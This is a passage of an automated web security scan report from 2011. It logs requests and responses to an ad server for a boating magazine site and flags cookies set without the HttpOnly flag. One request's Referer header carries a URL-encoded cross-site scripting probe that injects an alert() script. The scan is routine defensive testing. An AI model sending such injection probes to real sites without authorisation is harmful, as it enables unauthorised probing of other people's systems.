function OAS_RICH(position) { if (position == 'Middle') { document.write ('<A HREF="http://oasc05139.247realmedia.com/RealMedia/ads/click_lx.ads/www.soundingsonline.com/index.php/L33/790701053/Middle/ ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 02:55:56 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Content-Length: 4561 Content-Type: application/x-javascript Set-Cookie: NSC_d17efm_qppm_iuuq=ffffffff09419e3845525d5f4f58455e445a4a423660;path=/
function OAS_RICH(position) { if (position == 'Middle') { document.write ('<A HREF="http://oasc05139.247realmedia.com/RealMedia/ads/click_lx.ads/www.soundingsonline.com/index.php/L33/1039059921/Middle ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /RealMedia/ads/adstream_mjx.ads/www.soundingsonline.com/index.php/1972042870@Top,Middle,Right,Right1,x01,x02,x03,x04? HTTP/1.1 Host: oasc05139.247realmedia.com Proxy-Connection: keep-alive Referer: http://www.soundingsonline.com/archives?'%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Ealert(0x001E2B)%3C/script%3E Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: OAX=rcHW8003BLsABpSl; NSC_d17efm_qppm_iuuq=ffffffff09499e3a45525d5f4f58455e445a4a423660
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 03:01:56 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Content-Length: 4259 Content-Type: application/x-javascript Set-Cookie: NSC_d17efm_qppm_iuuq=ffffffff09419e3845525d5f4f58455e445a4a423660;path=/
function OAS_RICH(position) { if (position == 'Middle') { document.write ('<A HREF="http://oasc05139.247realmedia.com/RealMedia/ads/click_lx.ads/www.soundingsonline.com/index.php/L33/979012939/Middle/ ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /RealMedia/ads/click_lx.ads/NaN/1088322501/Left1/default/empty.gif/7263485738303033424c73414270536c HTTP/1.1 Host: oasc05139.247realmedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: NSC_d17efm_qppm_iuuq=ffffffff09499e3a45525d5f4f58455e445a4a423660; OAX=rcHW8003BLsABpSl;
Response
HTTP/1.1 302 Found Date: Tue, 25 Jan 2011 14:37:03 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Location: http:// Content-Length: 284 Keep-Alive: timeout=60 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Set-Cookie: NSC_d17efm_qppm_iuuq=ffffffff09419e3845525d5f4f58455e445a4a423660;path=/
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="http://">here</a>.</p> <hr> <address>Apache/2.0 ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /RealMedia/ads/click_lx.ads/NaN/1095051603/x05/default/empty.gif/7263485738303033424c73414270536c HTTP/1.1 Host: oasc05139.247realmedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: NSC_d17efm_qppm_iuuq=ffffffff09499e3a45525d5f4f58455e445a4a423660; OAX=rcHW8003BLsABpSl;
Response
HTTP/1.1 302 Found Date: Tue, 25 Jan 2011 14:37:55 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Location: http:// Content-Length: 284 Keep-Alive: timeout=60 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Set-Cookie: NSC_d17efm_qppm_iuuq=ffffffff09419e3b45525d5f4f58455e445a4a423660;path=/
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="http://">here</a>.</p> <hr> <address>Apache/2.0 ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /RealMedia/ads/click_lx.ads/NaN/1119361965/Bottom3/default/empty.gif/7263485738303033424c73414270536c HTTP/1.1 Host: oasc05139.247realmedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: NSC_d17efm_qppm_iuuq=ffffffff09499e3a45525d5f4f58455e445a4a423660; OAX=rcHW8003BLsABpSl;
Response
HTTP/1.1 302 Found Date: Tue, 25 Jan 2011 14:36:50 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Location: http:// Content-Length: 284 Keep-Alive: timeout=60 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Set-Cookie: NSC_d17efm_qppm_iuuq=ffffffff09419e3b45525d5f4f58455e445a4a423660;path=/
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="http://">here</a>.</p> <hr> <address>Apache/2.0 ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /RealMedia/ads/click_lx.ads/NaN/1146012391/Right1/default/empty.gif/7263485738303033424c73414270536c HTTP/1.1 Host: oasc05139.247realmedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: NSC_d17efm_qppm_iuuq=ffffffff09499e3a45525d5f4f58455e445a4a423660; OAX=rcHW8003BLsABpSl;
Response
HTTP/1.1 302 Found Date: Tue, 25 Jan 2011 14:37:23 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Location: http:// Content-Length: 284 Keep-Alive: timeout=60 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Set-Cookie: NSC_d17efm_qppm_iuuq=ffffffff09419e3b45525d5f4f58455e445a4a423660;path=/
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="http://">here</a>.</p> <hr> <address>Apache/2.0 ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /RealMedia/ads/click_lx.ads/NaN/1223143878/x02/default/empty.gif/7263485738303033424c73414270536c HTTP/1.1 Host: oasc05139.247realmedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: NSC_d17efm_qppm_iuuq=ffffffff09499e3a45525d5f4f58455e445a4a423660; OAX=rcHW8003BLsABpSl;
Response
HTTP/1.1 302 Found Date: Tue, 25 Jan 2011 14:37:41 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Location: http:// Content-Length: 284 Keep-Alive: timeout=60 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Set-Cookie: NSC_d17efm_qppm_iuuq=ffffffff09419e3845525d5f4f58455e445a4a423660;path=/
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="http://">here</a>.</p> <hr> <address>Apache/2.0 ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /RealMedia/ads/click_lx.ads/NaN/13627994/Left/default/empty.gif/7263485738303033424c73414270536c HTTP/1.1 Host: oasc05139.247realmedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: NSC_d17efm_qppm_iuuq=ffffffff09499e3a45525d5f4f58455e445a4a423660; OAX=rcHW8003BLsABpSl;
Response
HTTP/1.1 302 Found Date: Tue, 25 Jan 2011 14:36:57 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Location: http:// Content-Length: 284 Keep-Alive: timeout=60 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Set-Cookie: NSC_d17efm_qppm_iuuq=ffffffff09419e3845525d5f4f58455e445a4a423660;path=/
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="http://">here</a>.</p> <hr> <address>Apache/2.0 ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /RealMedia/ads/click_lx.ads/NaN/1384536630/Top/default/empty.gif/7263485738303033424c73414270536c HTTP/1.1 Host: oasc05139.247realmedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: NSC_d17efm_qppm_iuuq=ffffffff09499e3a45525d5f4f58455e445a4a423660; OAX=rcHW8003BLsABpSl;
Response
HTTP/1.1 302 Found Date: Tue, 25 Jan 2011 14:37:38 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Location: http:// Content-Length: 284 Keep-Alive: timeout=60 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Set-Cookie: NSC_d17efm_qppm_iuuq=ffffffff09419e3845525d5f4f58455e445a4a423660;path=/
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="http://">here</a>.</p> <hr> <address>Apache/2.0 ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /RealMedia/ads/click_lx.ads/NaN/1408846600/Middle/default/empty.gif/7263485738303033424c73414270536c HTTP/1.1 Host: oasc05139.247realmedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: NSC_d17efm_qppm_iuuq=ffffffff09499e3a45525d5f4f58455e445a4a423660; OAX=rcHW8003BLsABpSl;
Response
HTTP/1.1 302 Found Date: Tue, 25 Jan 2011 14:37:21 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Location: http:// Content-Length: 284 Keep-Alive: timeout=60 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Set-Cookie: NSC_d17efm_qppm_iuuq=ffffffff09419e3845525d5f4f58455e445a4a423660;path=/
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="http://">here</a>.</p> <hr> <address>Apache/2.0 ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /RealMedia/ads/click_lx.ads/NaN/1606215913/BottomRight/default/empty.gif/7263485738303033424c73414270536c HTTP/1.1 Host: oasc05139.247realmedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: NSC_d17efm_qppm_iuuq=ffffffff09499e3a45525d5f4f58455e445a4a423660; OAX=rcHW8003BLsABpSl;
Response
HTTP/1.1 302 Found Date: Tue, 25 Jan 2011 14:36:54 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Location: http:// Content-Length: 284 Keep-Alive: timeout=60 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Set-Cookie: NSC_d17efm_qppm_iuuq=ffffffff09419e3b45525d5f4f58455e445a4a423660;path=/
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="http://">here</a>.</p> <hr> <address>Apache/2.0 ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /RealMedia/ads/click_lx.ads/NaN/1812286391/x04/default/empty.gif/7263485738303033424c73414270536c HTTP/1.1 Host: oasc05139.247realmedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: NSC_d17efm_qppm_iuuq=ffffffff09499e3a45525d5f4f58455e445a4a423660; OAX=rcHW8003BLsABpSl;
Response
HTTP/1.1 302 Found Date: Tue, 25 Jan 2011 14:37:50 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Location: http:// Content-Length: 284 Keep-Alive: timeout=60 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Set-Cookie: NSC_d17efm_qppm_iuuq=ffffffff09419e3b45525d5f4f58455e445a4a423660;path=/
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="http://">here</a>.</p> <hr> <address>Apache/2.0 ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /RealMedia/ads/click_lx.ads/NaN/2062153072/x01/default/empty.gif/7263485738303033424c73414270536c HTTP/1.1 Host: oasc05139.247realmedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: NSC_d17efm_qppm_iuuq=ffffffff09499e3a45525d5f4f58455e445a4a423660; OAX=rcHW8003BLsABpSl;
Response
HTTP/1.1 302 Found Date: Tue, 25 Jan 2011 14:37:39 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Location: http:// Content-Length: 284 Keep-Alive: timeout=60 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Set-Cookie: NSC_d17efm_qppm_iuuq=ffffffff09419e3845525d5f4f58455e445a4a423660;path=/
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="http://">here</a>.</p> <hr> <address>Apache/2.0 ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /RealMedia/ads/click_lx.ads/NaN/2117805232/Left2/default/empty.gif/7263485738303033424c73414270536c HTTP/1.1 Host: oasc05139.247realmedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: NSC_d17efm_qppm_iuuq=ffffffff09499e3a45525d5f4f58455e445a4a423660; OAX=rcHW8003BLsABpSl;
Response
HTTP/1.1 302 Found Date: Tue, 25 Jan 2011 14:37:07 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Location: http:// Content-Length: 284 Keep-Alive: timeout=60 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Set-Cookie: NSC_d17efm_qppm_iuuq=ffffffff09419e3845525d5f4f58455e445a4a423660;path=/
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="http://">here</a>.</p> <hr> <address>Apache/2.0 ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /RealMedia/ads/click_lx.ads/NaN/258558596/Bottom2/default/empty.gif/7263485738303033424c73414270536c HTTP/1.1 Host: oasc05139.247realmedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: NSC_d17efm_qppm_iuuq=ffffffff09499e3a45525d5f4f58455e445a4a423660; OAX=rcHW8003BLsABpSl;
Response
HTTP/1.1 302 Found Date: Tue, 25 Jan 2011 14:36:46 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Location: http:// Content-Length: 284 Keep-Alive: timeout=60 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Set-Cookie: NSC_d17efm_qppm_iuuq=ffffffff09419e3845525d5f4f58455e445a4a423660;path=/
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="http://">here</a>.</p> <hr> <address>Apache/2.0 ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /RealMedia/ads/click_lx.ads/NaN/327792408/Bottom1/default/empty.gif/7263485738303033424c73414270536c HTTP/1.1 Host: oasc05139.247realmedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: NSC_d17efm_qppm_iuuq=ffffffff09499e3a45525d5f4f58455e445a4a423660; OAX=rcHW8003BLsABpSl;
Response
HTTP/1.1 302 Found Date: Tue, 25 Jan 2011 14:36:35 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Location: http:// Content-Length: 284 Keep-Alive: timeout=60 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Set-Cookie: NSC_d17efm_qppm_iuuq=ffffffff09419e3b45525d5f4f58455e445a4a423660;path=/
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="http://">here</a>.</p> <hr> <address>Apache/2.0 ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /RealMedia/ads/click_lx.ads/NaN/402494553/Left3/default/empty.gif/7263485738303033424c73414270536c HTTP/1.1 Host: oasc05139.247realmedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: NSC_d17efm_qppm_iuuq=ffffffff09499e3a45525d5f4f58455e445a4a423660; OAX=rcHW8003BLsABpSl;
Response
HTTP/1.1 302 Found Date: Tue, 25 Jan 2011 14:37:16 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Location: http:// Content-Length: 284 Keep-Alive: timeout=60 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Set-Cookie: NSC_d17efm_qppm_iuuq=ffffffff09419e3845525d5f4f58455e445a4a423660;path=/
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="http://">here</a>.</p> <hr> <address>Apache/2.0 ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /RealMedia/ads/click_lx.ads/NaN/54249257/x03/default/empty.gif/7263485738303033424c73414270536c HTTP/1.1 Host: oasc05139.247realmedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: NSC_d17efm_qppm_iuuq=ffffffff09499e3a45525d5f4f58455e445a4a423660; OAX=rcHW8003BLsABpSl;
Response
HTTP/1.1 302 Found Date: Tue, 25 Jan 2011 14:37:44 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Location: http:// Content-Length: 284 Keep-Alive: timeout=60 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Set-Cookie: NSC_d17efm_qppm_iuuq=ffffffff09419e3b45525d5f4f58455e445a4a423660;path=/
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="http://">here</a>.</p> <hr> <address>Apache/2.0 ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /RealMedia/ads/click_lx.ads/NaN/542573873/Bottom/default/empty.gif/7263485738303033424c73414270536c HTTP/1.1 Host: oasc05139.247realmedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: NSC_d17efm_qppm_iuuq=ffffffff09499e3a45525d5f4f58455e445a4a423660; OAX=rcHW8003BLsABpSl;
Response
HTTP/1.1 302 Found Date: Tue, 25 Jan 2011 14:36:33 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Location: http:// Content-Length: 284 Keep-Alive: timeout=60 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Set-Cookie: NSC_d17efm_qppm_iuuq=ffffffff09419e3845525d5f4f58455e445a4a423660;path=/
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="http://">here</a>.</p> <hr> <address>Apache/2.0 ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /RealMedia/ads/click_lx.ads/NaN/701883874/Right2/default/empty.gif/7263485738303033424c73414270536c HTTP/1.1 Host: oasc05139.247realmedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: NSC_d17efm_qppm_iuuq=ffffffff09499e3a45525d5f4f58455e445a4a423660; OAX=rcHW8003BLsABpSl;
Response
HTTP/1.1 302 Found Date: Tue, 25 Jan 2011 14:37:26 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Location: http:// Content-Length: 284 Keep-Alive: timeout=60 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Set-Cookie: NSC_d17efm_qppm_iuuq=ffffffff09419e3b45525d5f4f58455e445a4a423660;path=/
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="http://">here</a>.</p> <hr> <address>Apache/2.0 ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /RealMedia/ads/click_lx.ads/www.soundingsonline.com/index.php/L33/1006747487/x01/Dom_Ent/NovaScotia-Sound-TileAd/125x125_novascotia_0111.gif/726348573830302b4e47344144525279 HTTP/1.1 Host: oasc05139.247realmedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: NSC_d17efm_qppm_iuuq=ffffffff09499e3a45525d5f4f58455e445a4a423660; OAX=rcHW8003BLsABpSl;
Response
HTTP/1.1 302 Found Date: Tue, 25 Jan 2011 14:41:00 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Location: http://www.nsboats.com/ Content-Length: 300 Keep-Alive: timeout=60 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Set-Cookie: NSC_d17efm_qppm_iuuq=ffffffff09419e3845525d5f4f58455e445a4a423660;path=/
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="http://www.nsboats.com/">here</a>.</p> <hr> <ad ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /RealMedia/ads/click_lx.ads/www.soundingsonline.com/index.php/L33/1018021269/Right/Dom_Ent/House-Sound-Rect-300x250/Soundings_subscribead_300x250.jpg/726348573830302b4e47344144525279 HTTP/1.1 Host: oasc05139.247realmedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: NSC_d17efm_qppm_iuuq=ffffffff09499e3a45525d5f4f58455e445a4a423660; OAX=rcHW8003BLsABpSl;
Response
HTTP/1.1 302 Found Date: Tue, 25 Jan 2011 14:38:36 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Location: http://ezsub.net/isapi/foxisapi.dll/main.sv.run?jt=starr_wc&PUBID=586&SOURCE=INET&RDRID=&SBTYPE=QN&PGTP=S Content-Length: 402 Keep-Alive: timeout=60 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Set-Cookie: NSC_d17efm_qppm_iuuq=ffffffff09419e3b45525d5f4f58455e445a4a423660;path=/
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="http://ezsub.net/isapi/foxisapi.dll/main.sv.run ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /RealMedia/ads/click_lx.ads/www.soundingsonline.com/index.php/L33/1036877118/x01/Dom_Ent/AtlanticCity-Sound-TileAd/125x125_ac_0111.jpg/726348573830302b4e47344144525279 HTTP/1.1 Host: oasc05139.247realmedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: NSC_d17efm_qppm_iuuq=ffffffff09499e3a45525d5f4f58455e445a4a423660; OAX=rcHW8003BLsABpSl;
Response
HTTP/1.1 302 Found Date: Tue, 25 Jan 2011 15:54:54 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Location: http://www.acboatshow.com/ Content-Length: 303 Keep-Alive: timeout=60 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Set-Cookie: NSC_d17efm_qppm_iuuq=ffffffff09419e3845525d5f4f58455e445a4a423660;path=/
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="http://www.acboatshow.com/">here</a>.</p> <hr>
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /RealMedia/ads/click_lx.ads/www.soundingsonline.com/index.php/L33/1064540646/x03/Dom_Ent/CMTA-Sound-TileAd/cmta_0111.gif/726348573830302b4e47344144525279 HTTP/1.1 Host: oasc05139.247realmedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: NSC_d17efm_qppm_iuuq=ffffffff09499e3a45525d5f4f58455e445a4a423660; OAX=rcHW8003BLsABpSl;
Response
HTTP/1.1 302 Found Date: Tue, 25 Jan 2011 15:03:04 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Location: http://www.gssdesign.com/cmta_landing11/ Content-Length: 317 Keep-Alive: timeout=60 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Set-Cookie: NSC_d17efm_qppm_iuuq=ffffffff09419e3845525d5f4f58455e445a4a423660;path=/
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="http://www.gssdesign.com/cmta_landing11/">here< ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
